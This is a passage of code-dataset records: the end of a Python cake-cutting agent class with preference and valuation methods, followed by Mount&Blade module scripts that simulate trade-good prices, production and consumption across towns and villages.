piece?\n new_piece = copy(piece)\n new_piece.trims = [piece_mod.Trim(self, trim_at)]\n #assert self.get_value(new_piece, count=False) == desired_value\n self.cached_values[new_piece.hash_info()] = desired_value\n\n return piece_mod.Trim(self, trim_at)\n\n '''\n When created, all an agent has is a function for valuing different slices of cake\n '''\n\n def __init__(self, division_count = 10, preference_function=myrandom):\n self.set_adv_from_function(division_count, preference_function)\n self.number = Agent.agent_counter\n self.name = 'Agent '+str(self.number)\n Agent.agent_counter += 1\n self.trim_count = 0\n self.value_count = 0\n ''' This dictionary stores the cached values of pieces, with hash of piece as keys, and value of piece as value '''\n self.cached_values = {}\n self.allocated_cake = piece_mod.Piece([])\n self.allocated_cake.allocated = self\n\n def __repr__(self):\n return self.name\n\n '''\n Given a list of slices, the agent must be able to identify their favorite. Ties are broken very intentionally\n '''\n def choose_piece(self, pieces, current_ranking=None, count=True):\n max_value = max([self.get_value(p, count=count) for p in pieces])\n possibilities = [p for p in pieces if self.get_value(p) == max_value]\n ''' Sort primarily by allocated or not, and secondarily by the ranking in the subcore above this one '''\n if current_ranking != None and self in current_ranking:\n possibilities.sort(key=lambda p: current_ranking[self].index(p))\n possibilities.sort(key=lambda p: p.allocated != None)\n\n return possibilities[0]\n\n '''\n Generate a ranking of pieces for this agent. More valuable pieces are placed at the left of the list. \n The above ranking or lexicography breaks ties.\n '''\n def get_ranking(self, pieces, above_ranking):\n order = pieces[:]\n if above_ranking:\n ''' Break ties by the above ranking '''\n order.sort(key=lambda p: above_ranking[self].index(p))\n else:\n ''' Break ties by lexcographic ordering of the pieces (leftmost point on the piece) '''\n order.sort(key=lambda p: p.intervals[0].left)\n ''' Sort by the current value of the piece '''\n order.sort(key=lambda p: self.get_value(p), reverse=True)\n return order\n\n '''\n Given a slice, the agent must be able to assign consistent, proportional value to the slice \n '''\n def get_value(self, piece, count=True, whole_piece=False, use_cache=True):\n if use_cache and piece.hash_info() in self.cached_values and not whole_piece:\n return self.cached_values[piece.hash_info()]\n\n if count: \n self.value_count +=1\n if whole_piece:\n cut_piece = piece\n else:\n cut_piece = piece.get_after_rightmost_trim()\n\n sum_value = 0\n for interval in cut_piece.intervals:\n sum_value += self.value_up_to(interval.right) - self.value_up_to(interval.left)\n\n #Cache the computed value\n if count:\n self.cached_values[piece.hash_info()] = sum_value\n\n return sum_value\n\n '''\n Recursively cut pieces off the right side\n '''\n def cut_into_n_pieces_of_equal_value(self, n, piece):\n if n <= 1:\n return [piece]\n total_value = self.get_value(piece)\n target_value = total_value / n\n assert type(target_value) == Fraction\n left_piece = copy(piece)\n start_number = left_piece.number+1\n pieces = []\n for i in range(n-1):\n t = self.get_trim_of_value(left_piece, target_value)\n assert t.x != 0\n left_piece.trims.append(t)\n assert left_piece.get_rightmost_trim() == t\n left_piece, right_piece = left_piece.split_at_rightmost_trim()\n pieces.append(right_piece)\n pieces.append(left_piece)\n #Cache the left piece's value\n self.cached_values[left_piece.hash_info()] = target_value\n #Pieces were added in the wrong order, so reverse!\n pieces.reverse()\n #Assert that all pieces have indeed been hashed (which mostly happens inside the trim function)\n for index, p in enumerate(pieces):\n p.number = start_number + index\n p.name = 'Piece '+str(p.number)\n assert p.hash_info() in self.cached_values\n\n return pieces\n\n def fractalize_preferences(self, residue_intervals, subdivisions=2, subdivide_if_below=20, preference_function=myrandom):\n #Place fixed points at previous preference sections\n fixed_points = list(self.adv.keys())\n fixed_points.append(Fraction(0))\n # Place fixed points at all cached value intervals\n for key in self.cached_values:\n for interval in key:\n fixed_points.append( interval.left )\n fixed_points.append( interval.right )\n # Place fixed points at all residue intervals\n for interval in residue_intervals:\n fixed_points.append( interval.left )\n fixed_points.append( interval.right )\n fixed_points = sorted(list(set(fixed_points)))\n intervals = [piece_mod.Interval(fixed_points[i], fixed_points[i+1]) for i in range(0, len(fixed_points)-1)]\n intervals = list(filter(lambda i: any([i.overlaps(r_i) for r_i in residue_intervals]), intervals))\n #No two intervals overlap:\n assert all([not intervals[i1].overlaps(intervals[i2]) for i1 in range(len(intervals)) for i2 in range(i1+1, len(intervals))])\n assert self.value_up_to(Fraction(1)) == 1\n #print(\"splitting\", len(intervals), 'intervals into', len(intervals)*subdivisions, 'intervals')\n if len(intervals) >= subdivide_if_below:\n return\n #print(intervals)\n\n i = 0\n for x in sorted(list(self.adv.keys()))[:]:\n pref_height = self.adv[x]\n while intervals[i].left < x:\n #print(intervals[i])\n # Reset the right side of the larger preference intervals to the left side of what we're fractalizing\n if intervals[i].left > 0 and (i==0 or intervals[i-1].right < intervals[i].left) and not intervals[i].left in self.adv:\n self.adv[intervals[i].left] = pref_height\n pref_width = intervals[i].right - intervals[i].left\n pref_area = pref_height * pref_width\n new_pref_width = pref_width / Fraction(subdivisions)\n accumulated_area = Fraction(0)\n for i2 in range( 1, subdivisions+1):\n x2 = intervals[i].left + i2 * new_pref_width\n new_pref_height = Fraction(preference_function(x2))\n accumulated_area += new_pref_height * new_pref_width\n self.adv[x2] = new_pref_height\n\n #Now scale the intervals\n factor = pref_area / accumulated_area\n accumulated_area = Fraction(0)\n for i2 in range( 1, subdivisions+1):\n x2 = intervals[i].left + i2 * new_pref_width\n self.adv[x2] *= factor\n accumulated_area += self.adv[x2] * new_pref_width\n\n i += 1\n if i >= len(intervals):\n assert self.value_up_to(Fraction(1)) == 1\n return\n\n if i >= len(intervals):\n return\n\n '''\n Output the agent's preference function into a string that can be imported as well\n '''\n def get_preference_string(self):\n string = \"\"\n for k in sorted(self.adv.keys()):\n f = self.adv[k]\n string += str(k.numerator) + ' ' + str(k.denominator) +': ' + str(f.numerator) + ' ' + str(f.denominator) + ', '\n return string[:-2] #Remove last comma and space\n\n '''\n Import a preference string of the form of that which was outputted\n '''\n def set_preferences(self, preference_string):\n if ':' not in preference_string:\n #This is the old style of recording preferences, where they are evenly spaced\n fraction_string_list = preference_string.split(',')\n self.adv = {}\n interval = Fraction(1, len(fraction_string_list))\n x = Fraction(0)\n for f_s in fraction_string_list:\n x += interval\n num = int(f_s.split()[0])\n den = int(f_s.split()[1])\n self.adv[x] = Fraction(num, den)\n assert x == Fraction(1,1)\n assert sum([self.adv[k] for k in self.adv]) == len(fraction_string_list)\n else:\n fraction_string_list = preference_string.split(',')\n self.adv = {}\n for f_s in fraction_string_list:\n k,v = f_s.split(': ')\n k_num, k_den = map(int, k.split())\n v_num, v_den = map(int, v.split())\n self.adv[Fraction(k_num, k_den)] = Fraction(v_num, v_den)\n # Adjust the values to sum to 1\n acc_value = Fraction(0)\n keys = sorted(list(self.adv.keys()))\n for i in range(len(keys)):\n width = keys[i] if i == 0 else keys[i] - keys[i-1]\n acc_value += width * self.adv[keys[i]]\n for k in keys:\n self.adv[k] /= acc_value\n # Check that the values sum to 1\n acc_value = Fraction(0)\n for i in range(len(keys)):\n width = keys[i] if i == 0 else keys[i] - keys[i-1]\n acc_value += width * self.adv[keys[i]]\n assert acc_value == 1\n\n\n","repo_name":"kenakofer/envy-free-cake","sub_path":"agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":15374,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"8759271158","text":"from source.header_operations import *\nfrom source.header_common import reg0, reg1, reg2, s4\n\nfrom source.module_constants import *\n\n\nsimple_triggers = [\n (72,\n [\n # Update trade good prices\n (call_script, \"script_update_trade_good_prices\"),\n ])\n]\n\n\nscripts = [\n\n #script_update_trade_good_prices\n # INPUT: none\n (\"update_trade_good_prices\",\n [\n (try_for_range, \":center_no\", centers_begin, centers_end),\n (this_or_next|is_between, \":center_no\", towns_begin, towns_end),\n (is_between, \":center_no\", villages_begin, villages_end),\n (call_script, \"script_update_trade_good_price_for_party\", \":center_no\"),\n (try_end),\n\n (try_for_range, \":cur_good\", trade_goods_begin, trade_goods_end),\n (assign, \":total_price\", 0),\n (assign, \":total_constants\", 0),\n\n (try_for_range, \":center_no\", centers_begin, centers_end),\n (this_or_next|is_between, \":center_no\", towns_begin, towns_end),\n (is_between, \":center_no\", villages_begin, villages_end),\n\n (store_sub, \":cur_good_price_slot\", \":cur_good\", trade_goods_begin),\n (val_add, \":cur_good_price_slot\", \"slot_town_trade_good_prices_begin\"),\n (party_get_slot, \":cur_price\", \":center_no\", \":cur_good_price_slot\"),\n\n (try_begin),\n (is_between, \":center_no\", towns_begin, towns_end),\n (assign, \":constant\", 5),\n (else_try),\n (assign, \":constant\", 1),\n (try_end),\n\n (val_mul, \":cur_price\", \":constant\"),\n\n (val_add, \":total_price\", \":cur_price\"),\n (val_add, \":total_constants\", \":constant\"),\n (try_end),\n\n (try_for_range, \":center_no\", centers_begin, centers_end),\n (this_or_next|is_between, \":center_no\", towns_begin, towns_end),\n (is_between, \":center_no\", villages_begin, villages_end),\n\n (store_sub, \":cur_good_price_slot\", \":cur_good\", trade_goods_begin),\n (val_add, \":cur_good_price_slot\", \"slot_town_trade_good_prices_begin\"),\n (party_get_slot, \":cur_price\", \":center_no\", \":cur_good_price_slot\"),\n\n (val_mul, \":cur_price\", 1000),\n (val_mul, \":cur_price\", \":total_constants\"),\n (val_div, \":cur_price\", \":total_price\"), \n\n (val_clamp, \":cur_price\", minimum_price_factor, maximum_price_factor),\n (party_set_slot, \":center_no\", \":cur_good_price_slot\", \":cur_price\"),\n (try_end),\n (try_end),\n ]),\n\n #script_update_trade_good_price_for_party\n # INPUT: arg1 = party_no\n (\"update_trade_good_price_for_party\",\n [\n (store_script_param, \":center_no\", 1),\n (try_for_range, \":cur_good\", trade_goods_begin, trade_goods_end),\n (store_sub, \":cur_good_price_slot\", \":cur_good\", trade_goods_begin),\n (val_add, \":cur_good_price_slot\", \"slot_town_trade_good_prices_begin\"),\n (party_get_slot, \":cur_price\", \":center_no\", \":cur_good_price_slot\"),\n \n (call_script, \"script_center_get_production\", \":center_no\", \":cur_good\"),\n (assign, \":production\", reg0),\n \n (call_script, \"script_center_get_consumption\", \":center_no\", \":cur_good\"),\n (assign, \":consumption\", reg0),\n\n (val_sub, \":production\", \":consumption\"),\n \n #Change average production x 2(1+random(2)) (was 4, random(8)) for excess demand\n (try_begin),\n #supply is greater than demand\n (gt, \":production\", 0), \n (store_mul, \":change_factor\", \":production\", 6), #price will be decreased by his factor MOTO chief increase 20% (from 1)\n (val_div, \":change_factor\", 5), #MOTO chief increase 20%\n #(store_mul, \":change_factor\", \":production\", 1), #price will be decreased by his factor\n (store_random_in_range, \":random_change\", 0, \":change_factor\"),\n (val_add, \":random_change\", \":change_factor\"),\n (val_add, \":random_change\", \":change_factor\"), \n\n #simulation starts\n (store_sub, \":final_price\", \":cur_price\", \":random_change\"),\n (val_clamp, \":final_price\", minimum_price_factor, maximum_price_factor), \n (try_begin), #Excess of supply decelerates over time, as low price reduces output\n #if expected final price is 100 then it will multiply random_change by 0.308x ((100+300)/(1300) = 400/1300).\n (lt, \":final_price\", 1000),\n (store_add, \":final_price_plus_300\", \":final_price\", 300),\n (val_mul, \":random_change\", \":final_price_plus_300\"),\n (val_div, \":random_change\", 1300),\n (try_end),\n (val_sub, \":cur_price\", \":random_change\"),\n (else_try),\n (lt, \":production\", 0), \n (store_sub, \":change_factor\", 0, \":production\"), #price will be increased by his factor\n (val_mul, \":change_factor\", 6), #MOTO chief increase 20% (from 1)\n (val_div, \":change_factor\", 5), #MOTO chief increase 20%\n (store_random_in_range, \":random_change\", 0, \":change_factor\"),\n (val_add, \":random_change\", \":change_factor\"),\n (val_add, \":random_change\", \":change_factor\"),\n (val_add, \":cur_price\", \":random_change\"),\n (try_end),\n \n #Move price towards average by 3%...\n #Equilibrium is 33 cycles, or 100 days\n #Change per cycle is Production x 4\n #Thus, max differential = -5 x 4 x 33 = -660 for -5\n (try_begin),\n (is_between, \":center_no\", villages_begin, villages_end),\n (store_sub, \":price_difference\", \":cur_price\", average_price_factor),\n (val_mul, \":price_difference\", 96),\n (val_div, \":price_difference\", 100),\n (store_add, \":new_price\", average_price_factor, \":price_difference\"),\n (else_try),\n (store_sub, \":price_difference\", \":cur_price\", average_price_factor),\n (val_mul, \":price_difference\", 96),\n (val_div, \":price_difference\", 100),\n (store_add, \":new_price\", average_price_factor, \":price_difference\"),\n (try_end),\n \n #Price of manufactured goods drift towards primary raw material \n (try_begin),\n (item_get_slot, \":raw_material\", \":cur_good\", \"slot_item_primary_raw_material\"),\n (neq, \":raw_material\", 0),\n (store_sub, \":raw_material_price_slot\", \":raw_material\", trade_goods_begin),\n (val_add, \":raw_material_price_slot\", \"slot_town_trade_good_prices_begin\"),\n\n (party_get_slot, \":total_raw_material_price\", \":center_no\", \":raw_material_price_slot\"),\n (val_mul, \":total_raw_material_price\", 3),\n (assign, \":number_of_centers\", 3),\n\n (try_for_range, \":village_no\", villages_begin, villages_end),\n (party_slot_eq, \":village_no\", \"slot_village_bound_center\", \":center_no\"),\n (party_get_slot, \":raw_material_price\", \":village_no\", \":raw_material_price_slot\"),\n (val_add, \":total_raw_material_price\", \":raw_material_price\"),\n (val_add, \":number_of_centers\", 1),\n (try_end),\n\n (store_div, \":average_raw_material_price\", \":total_raw_material_price\", \":number_of_centers\"), \n\n (gt, \":average_raw_material_price\", \":new_price\"),\n (store_sub, \":raw_material_boost\", \":average_raw_material_price\", \":new_price\"),\n (val_div, \":raw_material_boost\", 10), \n (val_add, \":new_price\", \":raw_material_boost\"),\n (try_end),\n \n (val_clamp, \":new_price\", minimum_price_factor, maximum_price_factor),\n (party_set_slot, \":center_no\", \":cur_good_price_slot\", \":new_price\"),\n (try_end),\n ]),\n \n (\"center_get_production\",\n [\n #Actually, this could be reset somewhat to yield supply and demand as raw numbers\n #Demand could be set values for rural and urban\n #Supply could be based on capital goods -- head of cattle, head of sheep, fish ponds, fishing fleets, acres of grain fields, olive orchards, olive presses, wine presses, mills, smithies, salt pans, potters' kilns, etc\n #Prosperity would increase both demand and supply\n (store_script_param_1, \":center_no\"),\n (store_script_param_2, \":cur_good\"),\n \n (assign, \":base_production\", 0),\n\n #Grain products\n (try_begin),\n (eq, \":cur_good\", \"itm_bread\"), #Demand = 3000 across Calradia\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_mills\"),\n (val_mul, \":base_production\", 20), #one mills per village, five mills per town = 160 mills \n (else_try),\n (eq, \":cur_good\", \"itm_grain\"), #Demand = 3200+, 1600 to mills, 1500 on its own, extra to breweries\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_acres_grain\"),\n (val_div, \":base_production\", 125), #10000 acres is the average across Calradia, extra in Swadia, less in snows and steppes, a bit from towns \n (else_try),\n (eq, \":cur_good\", \"itm_ale\"), #\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_breweries\"),\n (val_mul, \":base_production\", 25), \n (else_try),\n (eq, \":cur_good\", \"itm_mead\"), #\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_breweries\"),\n (val_mul, \":base_production\", 20), \n\n (else_try),\n (eq, \":cur_good\", \"itm_smoked_fish\"), #Demand = 20\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_fishing_fleet\"),\n (val_mul, \":base_production\", 4), #was originally 5\n (else_try),\n (eq, \":cur_good\", \"itm_salt\"), \n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_salt_pans\"),\n (val_mul, \":base_production\", 35),\n\n #Cattle products \n (else_try),\n (eq, \":cur_good\", \"itm_cattle_meat\"), #Demand = 5\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_head_cattle\"),\n (val_div, \":base_production\", 4), #was 9\n (else_try),\n (eq, \":cur_good\", \"itm_dried_meat\"), #Demand = 15\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_head_cattle\"),\n (val_div, \":base_production\", 2), #was 3\n (else_try),\n (eq, \":cur_good\", \"itm_cheese\"), #Demand = 10\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_head_cattle\"),\n (party_get_slot, \":sheep_addition\", \":center_no\", \"slot_center_head_sheep\"),\n (val_div, \":sheep_addition\", 2),\n (val_add, \":base_production\", \":sheep_addition\"),\n (party_get_slot, \":gardens\", \":center_no\", \"slot_center_household_gardens\"),\n (val_mul, \":base_production\", \":gardens\"),\n (val_div, \":base_production\", 10), \n (else_try),\n (eq, \":cur_good\", \"itm_butter\"), #Demand = 2\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_head_cattle\"),\n (party_get_slot, \":gardens\", \":center_no\", \"slot_center_household_gardens\"),\n (val_mul, \":base_production\", \":gardens\"),\n (val_div, \":base_production\", 15),\n \n (else_try),\n (eq, \":cur_good\", \"itm_raw_leather\"), #Demand = ??\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_head_cattle\"),\n (val_div, \":base_production\", 6),\n (party_get_slot, \":sheep_addition\", \":center_no\", \"slot_center_head_sheep\"),\n (val_div, \":sheep_addition\", 12),\n (val_add, \":base_production\", \":sheep_addition\"),\n \n (else_try),\n (eq, \":cur_good\", \"itm_leatherwork\"), #Demand = ??\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_tanneries\"),\n (val_mul, \":base_production\", 20),\n \n\n (else_try),\n (eq, \":cur_good\", \"itm_honey\"), #Demand = 5\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_apiaries\"),\n (val_mul, \":base_production\", 6),\n (else_try),\n (eq, \":cur_good\", \"itm_cabbages\"), #Demand = 7\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_household_gardens\"),\n (val_mul, \":base_production\", 10),\n (else_try),\n (eq, \":cur_good\", \"itm_apples\"), #Demand = 7\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_household_gardens\"),\n (val_mul, \":base_production\", 10),\n \n #Sheep products \n (else_try),\n (eq, \":cur_good\", \"itm_sausages\"), #Demand = 5\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_head_sheep\"), #average of 90 sheep\n (val_div, \":base_production\", 15),\n (else_try),\n (eq, \":cur_good\", \"itm_wool\"), #(Demand = 0, but 15 averaged out perhaps)\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_head_sheep\"), #average of 90 sheep\n (val_div, \":base_production\", 5),\n (else_try),\n (eq, \":cur_good\", \"itm_wool_cloth\"), #(Demand = 1500 across Calradia)\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_wool_looms\"),\n (val_mul, \":base_production\", 5), #300 across Calradia\n (else_try),\n (this_or_next|eq, \":cur_good\", \"itm_pork\"), \n (eq, \":cur_good\", \"itm_chicken\"), \n (try_begin),\n (is_between, \":center_no\", villages_begin, villages_end),\n (assign, \":base_production\", 30), \n (else_try),\n (assign, \":base_production\", 0), \n (try_end),\n (else_try),\n (eq, \":cur_good\", \"itm_iron\"), #Demand = 5, one supplies three smithies\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_iron_deposits\"),\n (val_mul, \":base_production\", 10),\n (else_try), #silver\n (eq, \":cur_good\", \"itm_silver\"), #Demand = 5, one supplies three smithies\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_iron_deposits\"),\n (val_mul, \":base_production\", 10),\n (else_try),\n (eq, \":cur_good\", \"itm_mineral\"), #Demand = 5, one supplies three smithies\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_iron_deposits\"),\n (val_mul, \":base_production\", 10),\n (else_try),\n (eq, \":cur_good\", \"itm_tools\"), #Demand = 560 across Calradia\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_smithies\"),\n (val_mul, \":base_production\", 3),\n\n #Other artisanal goods \n (else_try),\n (eq, \":cur_good\", \"itm_pottery\"), #560 is total demand \n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_pottery_kilns\"),\n (val_mul, \":base_production\", 5),\n\n (else_try),\n (eq, \":cur_good\", \"itm_raw_grapes\"), \n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_acres_vineyard\"),\n (val_div, \":base_production\", 100),\n (else_try),\n (eq, \":cur_good\", \"itm_wine\"), \n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_wine_presses\"),\n (val_mul, \":base_production\", 10), #chief cambiado\n \n \n (else_try),\n (eq, \":cur_good\", \"itm_raw_olives\"), \n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_acres_olives\"),\n (val_div, \":base_production\", 150),\n (else_try),\n (eq, \":cur_good\", \"itm_oil\"), \n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_olive_presses\"),\n (val_mul, \":base_production\", 12),\n \n #Flax and linen \n (else_try),\n (eq, \":cur_good\", \"itm_linen\"), \n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_linen_looms\"),\n (val_mul, \":base_production\", 5),\n (else_try),\n (eq, \":cur_good\", \"itm_raw_flax\"), \n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_acres_flax\"),\n (val_div, \":base_production\", 80),\n \n\n (else_try),\n (eq, \":cur_good\", \"itm_velvet\"), \n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_silk_looms\"),\n (val_mul, \":base_production\", 5),\n (else_try), #tile\n (eq, \":cur_good\", \"itm_rare_fabric\"), \n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_silk_farms\"),\n (val_div, \":base_production\", 20),\n (else_try),\n (eq, \":cur_good\", \"itm_raw_dyes\"), \n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_kirmiz_farms\"),\n (val_div, \":base_production\", 20),\n\n## \n## (else_try),\n## (eq, \":cur_good\", \"itm_silver\"), \n## (party_get_slot, \":base_production\", \":center_no\", \"slot_center_acres_dates\"),\n## (val_div, \":base_production\", 120),\n (else_try),\n (eq, \":cur_good\", \"itm_furs\"), #Demand = 90 across Calradia\n (party_get_slot, \":base_production\", \":center_no\", \"slot_center_fur_traps\"),\n (val_mul, \":base_production\", 25),\n (else_try),\n (eq, \":cur_good\", \"itm_spice\"),\n (try_begin),\n (eq, \":center_no\", \"p_town_1\"), #Cantwaraburh\n (assign, \":base_production\", 30), #chief cambia\n (else_try),\n (eq, \":center_no\", \"p_town_2\"), #Seals-ey\n (assign, \":base_production\", 20), #chief cambiado\n (else_try),\n (eq, \":center_no\", \"p_town_12\"), #Lundenwic\n (assign, \":base_production\", 10), #chief cambia\n (else_try),\n (eq, \":center_no\", \"p_town_17\"), #Uisc\n (assign, \":base_production\", 10), #chief cambiado\n (else_try),\n (this_or_next|eq, \":center_no\", \"p_village_11\"), #Dusturil (village of Tulga)\n (eq, \":center_no\", \"p_village_25\"), #Dashbigha (village of Tulga)\n (assign, \":base_production\", 50),\n (else_try),\n (this_or_next|eq, \":center_no\", \"p_village_37\"), #Ada Kulun (village of Ichlamur)\n (this_or_next|eq, \":center_no\", \"p_village_42\"), #Dirigh Aban (village of Ichlamur)\n (this_or_next|eq, \":center_no\", \"p_village_99\"), #Fishara (village of Bariyye)\n (eq, \":center_no\", \"p_village_100\"), #Iqbayl (village of Bariyye)\n (assign, \":base_production\", 25),\n (try_end), \n (try_end),\n\n #Modify production by other goods\n (assign, \":modified_production\", \":base_production\"),\n (try_begin),\n (eq, \":cur_good\", \"itm_bread\"),\n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_grain\", \":base_production\", 1),\n (assign, \":modified_production\", reg0),\n (else_try),\n (eq, \":cur_good\", \"itm_ale\"),\n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_grain\", \":base_production\", 2),\n (assign, \":modified_production\", reg0),\n (else_try), #chief\n (eq, \":cur_good\", \"itm_mead\"),\n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_honey\", \":base_production\", 2),\n (assign, \":modified_production\", reg0),\n (else_try),\n (eq, \":cur_good\", \"itm_dried_meat\"),\n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_salt\", \":base_production\", 2),\n (assign, \":modified_production\", reg0),\n (else_try),\n (eq, \":cur_good\", \"itm_smoked_fish\"),\n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_salt\", \":base_production\", 2),\n (assign, \":modified_production\", reg0),\n (else_try), \n (eq, \":cur_good\", \"itm_tools\"),\n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_iron\", \":base_production\", 1),\n (assign, \":modified_production\", reg0),\n (else_try), \n (eq, \":cur_good\", \"itm_wool_cloth\"),\n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_wool\", \":base_production\", 1),\n (assign, \":modified_production\", reg0),\n (else_try), \n (eq, \":cur_good\", \"itm_wine\"),\n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_raw_grapes\", \":base_production\", 1),\n (assign, \":modified_production\", reg0),\n (else_try), \n (eq, \":cur_good\", \"itm_oil\"),\n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_raw_olives\", \":base_production\", 1),\n (assign, \":modified_production\", reg0),\n (else_try), \n (eq, \":cur_good\", \"itm_velvet\"),\n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_rare_fabric\", \":base_production\", 1),\n (assign, \":initially_modified_production\", reg0),\n \n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_raw_dyes\", \":initially_modified_production\", 2),\n (assign, \":modified_production\", reg0),\n (else_try), \n (eq, \":cur_good\", \"itm_leatherwork\"),\n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_raw_leather\", \":base_production\", 1),\n (assign, \":modified_production\", reg0),\n (else_try), \n (eq, \":cur_good\", \"itm_linen\"),\n (call_script, \"script_good_price_affects_good_production\", \":center_no\", \"itm_raw_flax\", \":base_production\", 1),\n (assign, \":modified_production\", reg0),\n (try_end),\n \n\n (assign, \":base_production_modded_by_raw_materials\", \":modified_production\"), #this is just logged for the report screen\n\n #Increase both positive and negative production by the center's prosperity\n #Richer towns have more people and consume more, but also produce more \n (try_begin),\n (party_get_slot, \":prosperity_plus_75\", \":center_no\", \"slot_town_prosperity\"),\n (val_add, \":prosperity_plus_75\", 75),\n (val_mul, \":modified_production\", \":prosperity_plus_75\"),\n (val_div, \":modified_production\", 125),\n (try_end),\n \n (try_begin),\n (this_or_next|party_slot_eq, \":center_no\", \"slot_village_state\", svs_being_raided),\n (party_slot_eq, \":center_no\", \"slot_village_state\", svs_looted),\n (assign, \":modified_production\", 0), \n (try_end),\n \n (assign, reg0, \":modified_production\"), #modded by prosperity\n (assign, reg1, \":base_production_modded_by_raw_materials\"),\n (assign, reg2, \":base_production\"),\n \n ]),\n\n (\"center_get_consumption\",\n [\n (store_script_param_1, \":center_no\"),\n (store_script_param_2, \":cur_good\"),\n\n (assign, \":consumer_consumption\", 0),\n (try_begin),\n (this_or_next|is_between, \":center_no\", \"p_town_19\", \"p_castle_1\"), \n (ge, \":center_no\", \"p_village_91\"),\n (item_slot_ge, \":cur_good\", \"slot_item_desert_demand\", 0), #Otherwise use rural or urban\n (item_get_slot, \":consumer_consumption\", \":cur_good\", \"slot_item_desert_demand\"),\n (else_try),\n (is_between, \":center_no\", villages_begin, villages_end),\n (item_get_slot, \":consumer_consumption\", \":cur_good\", \"slot_item_rural_demand\"),\n (else_try),\n (is_between, \":center_no\", towns_begin, towns_end),\n (item_get_slot, \":consumer_consumption\", \":cur_good\", \"slot_item_urban_demand\"),\n (try_end),\n \n \n (assign, \":raw_material_consumption\", 0),\n (try_begin),\n (eq, \":cur_good\", \"itm_grain\"),\n (party_get_slot, \":grain_for_bread\", \":center_no\", \"slot_center_mills\"),\n (val_mul, \":grain_for_bread\", 20),\n \n (party_get_slot, \":grain_for_ale\", \":center_no\", \"slot_center_breweries\"),\n (val_mul, \":grain_for_ale\", 5),\n \n (store_add, \":raw_material_consumption\", \":grain_for_bread\", \":grain_for_ale\"),\n \n (else_try), \n (eq, \":cur_good\", \"itm_iron\"),\n (party_get_slot, \":raw_material_consumption\", \":center_no\", \"slot_center_smithies\"),\n (val_mul, \":raw_material_consumption\", 3),\n \n (else_try), \n (eq, \":cur_good\", \"itm_wool\"),\n (party_get_slot, \":raw_material_consumption\", \":center_no\", \"slot_center_wool_looms\"),\n (val_mul, \":raw_material_consumption\", 5),\n\n (else_try), \n (eq, \":cur_good\", \"itm_raw_flax\"),\n (party_get_slot, \":raw_material_consumption\", \":center_no\", \"slot_center_linen_looms\"),\n (val_mul, \":raw_material_consumption\", 5),\n\n (else_try), \n (eq, \":cur_good\", \"itm_raw_leather\"),\n (party_get_slot, \":raw_material_consumption\", \":center_no\", \"slot_center_tanneries\"),\n (val_mul, \":raw_material_consumption\", 20),\n\n (else_try), \n (eq, \":cur_good\", \"itm_raw_grapes\"),\n (party_get_slot, \":raw_material_consumption\", \":center_no\", \"slot_center_wine_presses\"),\n (val_mul, \":raw_material_consumption\", 30),\n\n (else_try), \n (eq, \":cur_good\", \"itm_raw_olives\"),\n (party_get_slot, \":raw_material_consumption\", \":center_no\", \"slot_center_olive_presses\"),\n (val_mul, \":raw_material_consumption\", 12),\n\n \n (else_try), \n (eq, \":cur_good\", \"itm_raw_dyes\"),\n (party_get_slot, \":raw_material_consumption\", \":center_no\", \"slot_center_silk_looms\"),\n (val_mul, \":raw_material_consumption\", 1),\n (else_try), \n (eq, \":cur_good\", \"itm_rare_fabric\"),\n (party_get_slot, \":raw_material_consumption\", \":center_no\", \"slot_center_silk_looms\"),\n (val_mul, \":raw_material_consumption\", 5),\n \n\n (else_try), \n (eq, \":cur_good\", \"itm_salt\"),\n (party_get_slot, \":salt_for_beef\", \":center_no\", \"slot_center_head_cattle\"),\n (val_div, \":salt_for_beef\", 10),\n \n (party_get_slot, \":salt_for_fish\", \":center_no\", \"slot_center_fishing_fleet\"),\n (val_div, \":salt_for_fish\", 5),\n \n (store_add, \":raw_material_consumption\", \":salt_for_beef\", \":salt_for_fish\"),\n (try_end),\n \n (try_begin), #Reduce consumption of raw materials if their cost is high\n (gt, \":raw_material_consumption\", 